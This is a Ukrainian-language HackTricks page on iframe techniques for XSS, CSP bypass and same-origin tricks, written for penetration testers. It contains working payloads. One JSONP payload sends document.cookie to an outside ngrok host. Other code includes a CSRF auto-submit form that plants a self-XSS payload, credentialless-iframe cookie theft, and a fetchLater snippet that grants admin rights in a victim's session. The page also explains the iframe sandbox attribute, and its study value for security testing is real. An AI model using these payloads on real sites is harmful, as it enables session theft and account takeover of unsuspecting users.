Iframes в XSS, CSP та SOP

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Iframes в XSS

Є 3 способи вказати вміст сторінки в iframe:

  • Через src, вказуючи URL (URL може бути крос-доменним або того ж домену)
  • Через src, вказуючи вміст за допомогою протоколу data:
  • Через srcdoc, вказуючи вміст

Доступ до змінних батьківського та дочірнього контексту

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, python3 -m http.server), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). батьківський контекст не зможе отримати доступ до змінної secret всередині жодного iframe і тільки iframes if2 та if3 (які вважаються такими, що належать до одного сайту) можуть отримати доступ до секрету в оригінальному вікні.
Зверніть увагу, що if4 вважається таким, що має null походження.

Iframes з CSP

tip

Будь ласка, зверніть увагу, що в наступних обходах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.

Значення self для script-src не дозволить виконання JS коду, використовуючи протокол data: або атрибут srcdoc.
Однак навіть значення none для CSP дозволить виконання iframe, які вказують URL (повний або лише шлях) в атрибуті src.
Отже, можливо обійти CSP сторінки за допомогою:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Зверніть увагу, що попередній CSP дозволяє виконання лише вбудованого скрипту.
Однак, будуть виконані лише скрипти if1 та if2, але лише if1 зможе отримати доступ до батьківського секрету.

Отже, можливо обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з script-src 'none'. Це можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту.

Ви можете протестувати це з наступним сценарієм, де куки викрадаються навіть з script-src 'none'. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Інші Payloads, знайдені в дикій природі

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута sandbox. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.

Коли використовується, атрибут sandbox накладає кілька обмежень:

  • Вміст розглядається так, ніби він походить з унікального джерела.
  • Будь-яка спроба надсилання форм блокується.
  • Виконання скриптів заборонено.
  • Доступ до певних API вимкнено.
  • Запобігає взаємодії посилань з іншими контекстами перегляду.
  • Використання плагінів через <embed>, <object>, <applet> або подібні теги заборонено.
  • Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
  • Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.

Значення атрибута можна залишити порожнім (sandbox=""), щоб застосувати всі вищезазначені обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Credentialless iframes

Як пояснено в this article, прапорець credentialless в iframe використовується для завантаження сторінки всередині iframe без відправки облікових даних у запиті, зберігаючи при цьому політику одного походження (SOP) завантаженої сторінки в iframe.

Це дозволяє iframe отримувати чутливу інформацію з іншого iframe в тому ж SOP, завантаженому на батьківській сторінці:

javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
  • Приклад експлуатації: Self-XSS + CSRF

У цій атаці зловмисник готує шкідливу веб-сторінку з 2 iframe:

  • Iframe, який завантажує сторінку жертви з прапором credentialless з CSRF, що викликає XSS (Уявіть собі Self-XSS у імені користувача):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Інший iframe, в якому насправді користувач увійшов в систему (без прапора credentialless).

Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну і ту ж SOP, і вкрасти кукі, наприклад, виконавши:

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

Як зазначено в this article, API fetchLater дозволяє налаштувати запит, який буде виконано пізніше (після певного часу). Тому це можна зловживати, наприклад, для входу жертви в сесію атакуючого (з Self-XSS), налаштувати запит fetchLater (щоб змінити пароль поточного користувача, наприклад) і вийти з сесії атакуючого. Потім жертва входить у свою власну сесію, і запит fetchLater буде виконано, змінюючи пароль жертви на той, що встановлений атакуючим.

Таким чином, навіть якщо URL жертви не може бути завантажено в iframe (через CSP або інші обмеження), атакуючий все ще може виконати запит у сесії жертви.

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes в SOP

Перевірте наступні сторінки:

{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md {{#endref}}

{{#ref}} ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md {{#endref}}

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks